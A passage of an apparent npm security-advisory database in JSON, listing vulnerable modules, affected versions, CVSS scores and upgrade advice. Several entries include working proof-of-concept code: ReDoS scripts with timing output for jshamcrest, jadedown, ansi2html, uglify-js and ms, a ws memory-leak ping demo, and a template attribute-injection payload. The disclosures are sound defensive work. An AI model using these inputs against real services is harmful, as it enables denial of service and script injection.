to the emailAddress validator.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n\n\n### Proof of concept\n\n```\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n emailAddress.matches(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)","recommendation":"Do not pass untrusted user input into jshamcrest. Consider user a validator like joi that does not rely on regular expressions.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":52,"created_at":"2015-10-25T04:40:15.697+00:00","updated_at":"2016-04-20T16:02:56+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"jadedown","publish_date":"2016-01-05T23:00:45.777+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"jadedown_regular-expression-denial-of-service","overview":"jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.\n\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n\n### Proof of concept\n```\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = genstr(i, 'f') + genstr(i, '#') + '{';\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n jadedown(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested","recommendation":"There is currently no fix. Do not allow untrusted user input into `jadedown`","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":68,"created_at":"2016-01-04T19:52:12.937+00:00","updated_at":"2016-04-25T14:55:57+00:00","title":"Remote Memory Disclosure","author":"Feross Aboukhadijeh / Mathias Buss Madsen","module_name":"bittorrent-dht","publish_date":"2016-01-04T19:52:32.207+00:00","cves":[],"vulnerable_versions":"<5.1.3","patched_versions":">=5.1.3","slug":"bittorrent-dht_remote-memory-disclosure","overview":"A security issue was found in bittorrent-dht that allows someone to send a specific series of messages to a listening peer and get it to reveal internal memory.\n\nThere are two mitigating factors here, that slightly reduce the impact of this vulnerability:\n\n1. Any modern kernel will zero out new memory pages before handing them off to a process. This means that only memory previously used and deallocated by the node process can be leaked.\n1. Node.js manages Buffers by creating a few large internal SlowBuffers, and slicing them up into smaller Buffers which are made accessible in JS. They are not stored on V8's heap, because garbage collection would interfere. The result is that only memory that has been previously allocated as a Buffer can be leaked.","recommendation":"Update to version 5.1.3 or greater","references":"- https://github.com/feross/bittorrent-dht/issues/87","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":67,"created_at":"2016-01-04T18:29:33.009+00:00","updated_at":"2016-04-27T22:49:35+00:00","title":"Remote Memory Disclosure","author":"Feross Aboukhadijeh / Mathias Buss","module_name":"ws","publish_date":"2016-01-04T19:34:19.734+00:00","cves":[],"vulnerable_versions":"<= 1.0.0","patched_versions":">= 1.0.1","slug":"ws_buffer-leak","overview":"UPDATE Jan 6, 2016\n\nSome additional, [important details](https://gist.github.com/c0nrad/e92005446c480707a74a) have been made available by Stuart Larsen. The client (which could in fact be the server in certain instances) is that one that allocates and sends the memory that is then echo'd by the server.\n\nA vulnerability was found in the ping functionality of the ws module which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. \n\nThis is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.\n\n```\nvar x = new Buffer(100);\n// vs\nvar x = new Buffer('100');\n```\n\nThis would allocate 100 bytes of memory in the first example and just 3 bytes with 100 as value in the second example. So the client would allocate 100 bytes of non-zeroed buffer and send that to the server. \n\n\n\n## Example POC\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n console.log('open')\n client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n client.on('pong', function (data) {\n console.log('got pong')\n console.log(data) // Data from the client. \n })\n})\n```","recommendation":"Update to version 1.0.1 or greater.","references":"- https://github.com/websockets/ws/releases/tag/1.0.1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":66,"created_at":"2015-12-28T18:37:19.938+00:00","updated_at":"2016-04-20T17:53:55+00:00","title":"SQL Injection due to unescaped object keys","author":"Sébastian Dejonghe","module_name":"mysql","publish_date":"2015-12-28T18:37:37.178+00:00","cves":[],"vulnerable_versions":"<=v2.0.0-alpha7","patched_versions":">=v2.0.0-alpha8","slug":"mysql_sql-injection-due-to-unescaped-object-keys","overview":"Keys of objects are not escaped with `mysql.escape()` which could lead to SQL Injection.","recommendation":"Update to the latest version of the mysql module. At least version v2.0.0-alpha8 or greater to address this issue.","references":"- https://github.com/felixge/node-mysql/issues/342","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":65,"created_at":"2015-12-28T17:13:59.814+00:00","updated_at":"2016-04-25T15:04:12+00:00","title":"Route level CORS config overrides connection level defaults","author":"Eran Hammer","module_name":"hapi","publish_date":"2015-12-28T17:17:36.462+00:00","cves":[],"vulnerable_versions":"<11.1.4","patched_versions":">=11.1.4","slug":"hapi_route-level-cors-config-overrides-connection-level-defaults","overview":"When server level, connection level or route level CORS configurations are combined and when a higher level config included security restrictions (like origin), a higher level config that included security restrictions (like origin) would have those restrictions overridden by less restrictive defaults (e.g. origin defaults to all origins `*`).","recommendation":"You should install hapi v11.1.4 or newer if you combine server level, connection level, or route level CORS configuration.","references":"- https://github.com/hapijs/hapi/issues/2980","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":64,"created_at":"2015-12-23T22:29:19.29+00:00","updated_at":"2016-04-25T15:06:34+00:00","title":"Denial of Service - Illegal access crash from if-modified-since header","author":"James Halliday","module_name":"ecstatic","publish_date":"2015-12-23T23:21:25.322+00:00","cves":[],"vulnerable_versions":"<1.4.0","patched_versions":">=1.4.0","slug":"ecstatic_illegal-access-crash-from-if-modified-since-header","overview":"Certain input strings when passed to new Date() or Date.parse() will cause v8 to raise an exception. This leads to a crash and denial of service in ecstatic when this input is passed into the server via the If-Modified-Since header.","recommendation":"Upgrade to ecstatic version 1.4.0 or greater.","references":"- https://github.com/jfhbrook/node-ecstatic/pull/179\n- https://bugs.chromium.org/p/v8/issues/detail?id=4640","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":63,"created_at":"2015-12-23T22:04:46.097+00:00","updated_at":"2016-04-25T15:06:51+00:00","title":"Denial of service - Potential socket exhaustion","author":"Adam Baldwin","module_name":"hapi","publish_date":"2015-12-23T23:17:51.134+00:00","cves":[],"vulnerable_versions":"<11.1.3","patched_versions":">=11.1.3","slug":"hapi_denial-of-service","overview":"Certain input passed into the If-Modified-Since or Last-Modified headers will cause an 'illegal access' exception to be raised. Instead of sending a HTTP 500 error back to the sender, hapi will continue to hold the socket open until timed out (default node timeout is 2 minutes).\n\n\nSpecial thanks to [James Halliday](https://github.com/substack) for bringing this exception pattern to our attention via the [ecstatic advisory](https://nodesecurity.io/advisories/64) which lead to identifying this.","recommendation":"Upgrade to hapi v11.1.3 or greater.","references":"- https://github.com/hapijs/hapi/commit/aab2496e930dce5ee1ab28eecec94e0e45f03580\n- https://github.com/jfhbrook/node-ecstatic/pull/179","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":62,"created_at":"2015-12-14T17:05:06.592+00:00","updated_at":"2016-04-25T15:21:06+00:00","title":"Quoteless Attributes in Templates can lead to Content Injection","author":"Matias P. Brutti","module_name":"mustache","publish_date":"2015-12-14T17:13:57.565+00:00","cves":["CVE-2015-8862"],"vulnerable_versions":"<2.2.1","patched_versions":">=2.2.1","slug":"mustache_quoteless-attributes-in-templates-can-lead-to-content-injection","overview":"Not using quotes around your attributes in mustache templates, could lead to content injection.\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```","recommendation":"If you are unable to upgrade to version 2.2.1 or greater you can add quotes to your attributes in your mustache templates.","references":"- https://github.com/janl/mustache.js/commit/378bcca8a5cfe4058f294a3dbb78e8755e8e0da5","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":61,"created_at":"2015-12-14T16:51:56.173+00:00","updated_at":"2016-04-25T15:20:33+00:00","title":"Quoteless Attributes in Templates can lead to Content Injection","author":"Matias P. Brutti","module_name":"handlebars","publish_date":"2015-12-14T16:52:07.962+00:00","cves":["CVE-2015-8861"],"vulnerable_versions":"<4.0.0","patched_versions":">=4.0.0","slug":"handlebars_quoteless-attributes-in-templates-can-lead-to-xss","overview":"Not using quotes around your attributes in handlebar templates, could lead to content injection.\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```","recommendation":"If you are unable to upgrade to version 4.0.0 or greater you can add quotes to your attributes in your handlebar templates.","references":"- https://blog.srcclr.com/handlebars_vulnerability_research_findings/\n- https://github.com/wycats/handlebars.js/pull/1083","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":60,"created_at":"2015-12-04T16:56:49.01+00:00","updated_at":"2016-04-27T21:10:09+00:00","title":"Authentication Weakness","author":"Greg Meyer","module_name":"keystone","publish_date":"2015-12-04T17:52:25.832+00:00","cves":[],"vulnerable_versions":"<0.3.16","patched_versions":">=0.3.16","slug":"keystone_authentication-weakness","overview":"Due to a bug in the the default sign in functionality, incomplete email addresses could be matched. A correct password is still required to complete sign in.","recommendation":"Users of this module should update to version 0.3.16 or greater","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":59,"created_at":"2015-11-20T18:52:47.394+00:00","updated_at":"2016-04-20T17:25:25+00:00","title":"Regular Expression Denial of Service","author":"Luigi Pinca","module_name":"milliseconds","publish_date":"2015-11-20T18:52:47.394+00:00","cves":["CVE-2015-8315"],"vulnerable_versions":"<0.1.2","patched_versions":">=0.1.2","slug":"milliseconds_regular-expression-denial-of-service","overview":"millisecond is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"[1]\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```","recommendation":"Update to version 0.1.2 or greater. An alternative would be to limit the input length of the user input before passing it into millisecond to under 10k characters.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/unshiftio/millisecond/pull/4\n","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":57,"created_at":"2015-11-03T07:15:12.9+00:00","updated_at":"2016-04-25T15:19:02+00:00","title":"Symlink Arbitrary File Overwrite","author":"Tim Cuthbertson","module_name":"tar","publish_date":"2015-11-03T07:15:12.9+00:00","cves":["CVE-2015-8860"],"vulnerable_versions":"<2.0.0","patched_versions":">=2.0.0","slug":"tar_symlink-arbitrary-file-overwrite","overview":"The `tar` module earlier than version 2.0.0 allow for archives to contain symbolic links that will overwrite targets outside the expected path for extraction.","recommendation":"Update to a version 2.0.0 or greater","references":"- https://github.com/npm/npm/releases/tag/v2.7.5","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cvss_score":7.5},{"id":56,"created_at":"2015-11-03T07:12:20.676+00:00","updated_at":"2016-04-25T15:18:45+00:00","title":"Root Path Disclosure","author":"Dinis Cruz","module_name":"send","publish_date":"2015-11-03T07:12:20.676+00:00","cves":["CVE-2015-8859"],"vulnerable_versions":"<0.11.1","patched_versions":">=0.11.1","slug":"send_root-path-disclosure","overview":"The send module < 0.11.1 discloses the root path.","recommendation":"Upgrade to send version 0.11.1 or greater.","references":"- https://github.com/pillarjs/send/pull/70\n- https://github.com/expressjs/serve-static/blob/master/HISTORY.md#181--2015-01-20","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":54,"created_at":"2015-10-26T16:58:39.517+00:00","updated_at":"2016-04-25T15:26:38+00:00","title":"Command Injection in gm.compare function","author":"Brendan Scarvell of Console","module_name":"gm","publish_date":"2015-10-26T20:12:18.99+00:00","cves":["CVE-2015-7982"],"vulnerable_versions":"<=1.20.0","patched_versions":">=1.21.1","slug":"gm_command-injection-in-gmcompare-function","overview":"gm version 1.20.0 and below are vulnerable to command injection when user input is passed into the arguments of the `gm.compare `function. The `compare()` function fails to sanitize meta characters correctly before calling the graphics magic binary.","recommendation":"Update to version 1.21.1 or greater.","references":"- https://github.com/aheckmann/gm/commit/5f5c77490aa84ed313405c88905eb4566135be31","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":51,"created_at":"2015-10-25T01:35:01.611+00:00","updated_at":"2016-04-20T16:06:54+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"ansi2html","publish_date":"2015-10-25T01:35:01.611+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"ansi2html_regular-expression-denial-of-service","overview":"ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n###Proof of concept\n```\nvar ansi2html = require('ansi2html')\n\nvar start = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;00000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;000000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000000000\");\nconsole.log(process.hrtime(start));\n```\n\nResults of the above\n```\n00:29:53-adam_baldwin~/tmp$ node test\n[ 0, 119615367 ]\n[ 0, 149934565 ]\n[ 0, 233325677 ]\n[ 3, 46582479 ]\n```","recommendation":"There is currently no available fix. Do not pass untrusted input into ansi2html or limit the size of the user input to limit input.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":48,"created_at":"2015-10-24T17:58:34.232+00:00","updated_at":"2016-04-21T00:15:04+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"uglify-js","publish_date":"2015-10-24T21:01:32.155+00:00","cves":["CVE-2015-8858"],"vulnerable_versions":"<2.6.0","patched_versions":">=2.6.0","slug":"uglify-js_regular-expression-denial-of-service","overview":"uglify-js is vulnerable to regular expression denial of service (ReDoS) when certain types of input is passed into .parse().\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```","recommendation":"Update to version 2.6.0 or later","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":50,"created_at":"2015-10-24T18:09:30.429+00:00","updated_at":"2016-04-25T15:27:24+00:00","title":"Insecure Comparison","author":"Joshua Dague","module_name":"secure-compare","publish_date":"2015-10-24T21:00:53.201+00:00","cves":[],"vulnerable_versions":"<=3.0.0","patched_versions":">3.0.0","slug":"secure-compare_insecure-comparison","overview":"secure-compare 3.0.0 and below do not actually compare two strings properly. \n\ncompare was actually comparing the first argument with itself, meaning the check passed for any two strings of the same length.","recommendation":"Upgrade to secure-compare 3.0.1 or greater.","references":"- https://github.com/vdemedes/secure-compare/pull/1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":49,"created_at":"2015-10-24T18:05:49.315+00:00","updated_at":"2016-05-06T15:31:50+00:00","title":"Content Injection via TileJSON attribute","author":"John Firebaugh, Juan Broullón Sampedro","module_name":"mapbox.js","publish_date":"2015-10-24T21:00:40.189+00:00","cves":[],"vulnerable_versions":"<1.6.5 || < 2.1.7 > 2.0.0","patched_versions":">=1.6.5 <2.0.0 || >= 2.1.7","slug":"mapboxjs_content-injection-via-tilejson-attribute","overview":"Mapbox.js versions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf you use L.mapbox.map or L.mapbox.tileLayer to load untrusted TileJSON content from a non-Mapbox URL, it is possible for a malicious user with control over the TileJSON content to inject script content into the \"attribution\" value of the TileJSON which will be executed in the context of the page using Mapbox.js.\n\nSuch usage is uncommon. The following usage scenarios are not vulnerable:\n\n- only trusted TileJSON content is loaded\n- TileJSON content comes only from mapbox.com URLs\n- a Mapbox map ID is supplied, rather than a TileJSON URL","recommendation":"Upgrade to Mapbox.js version 2.1.7. If you are still using a 1.x version and unable to upgrade to 2.1.7, upgrade to 1.6.5.","references":"- https://hackerone.com/reports/54327a","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.8},{"id":47,"created_at":"2015-10-24T17:38:43.821+00:00","updated_at":"2016-04-20T16:09:35+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"bleach","publish_date":"2015-10-24T20:46:42.522+00:00","cves":["CVE-2014-8881"],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"bleach_regular-expression-denial-of-service","overview":"bleach 3.0 and earlier is vulnerable to regular expression denial of service (ReDoS) when certain types of input is passed into the sanitize function.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":"There is currently no fix available.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":46,"created_at":"2015-10-24T16:06:54.122+00:00","updated_at":"2016-04-21T00:14:45+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"ms","publish_date":"2015-10-24T20:39:59.852+00:00","cves":["CVE-2015-8315"],"vulnerable_versions":"<=0.7.0","patched_versions":">0.7.0","slug":"ms_regular-expression-denial-of-service","overview":"ms is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"[1]\n\n### Proof of Concept\n```\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n","recommendation":"Update to version 0.7.1 or greater. An alternative would be to limit the input length of the user input before passing it into ms.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":45,"created_at":"2015-10-20T18:29:09.702+00:00","updated_at":"2016-04-25T15:35:32+00:00","title":"Incorrect handling of CORS preflight request headers","author":"Eran Hammer","module_name":"hapi","publish_date":"2015-10-20T18:29:09.702+00:00","cves":[],"vulnerable_versions":"<11.0.0","patched_versions":">=11.0.0","slug":"hapi_incorrect-handling-of-cors-preflight-request-headers","overview":"Hapi versions less than 11.0.0 implement CORS incorrectly and allowed for configurations that at best returned inconsistent headers and at worst allowed cross-origin activities that were expected to be forbidden. [1]\n\n'If the connection has CORS enabled but one route has it off, and the route is not GET, the OPTIONS prefetch request will return the default CORS headers and then the actual request will go through and return no CORS headers. This defeats the purpose of turning CORS on the route.' [2]","recommendation":"Updated to hapi version 11.0.0 or greater","references":"- [1] https://github.com/hapijs/hapi/issues/2850\n- [2] https://github.com/hapijs/hapi/issues/2840","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":19,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-25T15:31:07+00:00","title":"LDAP Injection","author":"David Black, Jerome Touffe-Blin","module_name":"ldapauth","publish_date":"2015-09-18T19:30:10+00:00","cves":["CVE-2015-7294"],"vulnerable_versions":"<=2.2.4","patched_versions":"<0.0.0","slug":"ldapauth_ldap-injection","overview":"ldapauth versions <= 2.2.4 are vulnerable to ldap injection through the username parameter.","recommendation":"Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater as ldapauth has not yet been patched.","references":"- http://www.openwall.com/lists/oss-security/2015/09/18/4","legacy_slug":"ldapauth-ldap-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":5,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-25T15:25:16+00:00","title":"Cross-Site Scripting","author":"Onur Yilmaz","module_name":"datatables","publish_date":"2015-09-18T19:29:10+00:00","cves":["CVE-2015-6584"],"vulnerable_versions":"<=1.10.8","patched_versions":">1.10.8","slug":"datatables_cross-site-scripting","overview":"Cross-site scripting (XSS) vulnerability in the DataTables plugin 1.10.8 and earlier for jQuery allows remote attackers to inject arbitrary web script or HTML via the scripts parameter to media/unit_testing/templates/6776.php.","recommendation":"Update to a version greater than 1.10.8.","references":"- http://www.securityfocus.com/archive/1/archive/1/536437/100/0/threaded\n- https://www.netsparker.com/cve-2015-6384-xss-vulnerability-identified-in-datatables/\n- https://github.com/DataTables/DataTables/issues/602\n- https://github.com/DataTables/DataTablesSrc/commit/ccf86dc5982bd8e16d","legacy_slug":"datatables-CVE-2015-6584","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":18,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T16:50:25+00:00","title":"LDAP Injection","author":"Jerome Touffe-Blin","module_name":"ldapauth-fork","publish_date":"2015-09-18T19:29:10+00:00","cves":["CVE-2015-7294"],"vulnerable_versions":"< 2.3.3","patched_versions":">= 2.3.3","slug":"ldapauth-fork_ldap-injection","overview":"ldapauth-fork is a module forked from node-ldapauth and is used for ldap authentication \nThe username parameter is not filtered as per [LDAP Escape Specifications](https://tools.ietf.org/search/rfc4515#section-3) \nA malicious user is able to change their name to certain LDAP commands and run anything that they want.","recommendation":"Updated to ldapauth-fork 2.3.3 or greater.","references":"- https://github.com/vesse/node-ldapauth-fork/issues/21\n- https://github.com/vesse/node-ldapauth-fork/commit/3feea43e243698bcaeffa904a7324f4d96df60e4","legacy_slug":"ldapauth-fork-ldap-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":39,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:22:23+00:00","title":"Incorrect Handling of Non-Boolean Comparisons During Minification","author":"Tom MacWright","module_name":"uglify-js","publish_date":"2015-08-24T19:29:10+00:00","cves":["CVE-2015-8857"],"vulnerable_versions":"<= 2.4.23","patched_versions":">= 2.4.24","slug":"uglify-js_incorrect-handling-of-non-boolean-comparisons-during-minification","overview":"[Tom MacWright](https://github.com/mishoo/UglifyJS2/issues/751) discovered that UglifyJS versions 2.4.23 and earlier are affected by a vulnerability which allows a specially 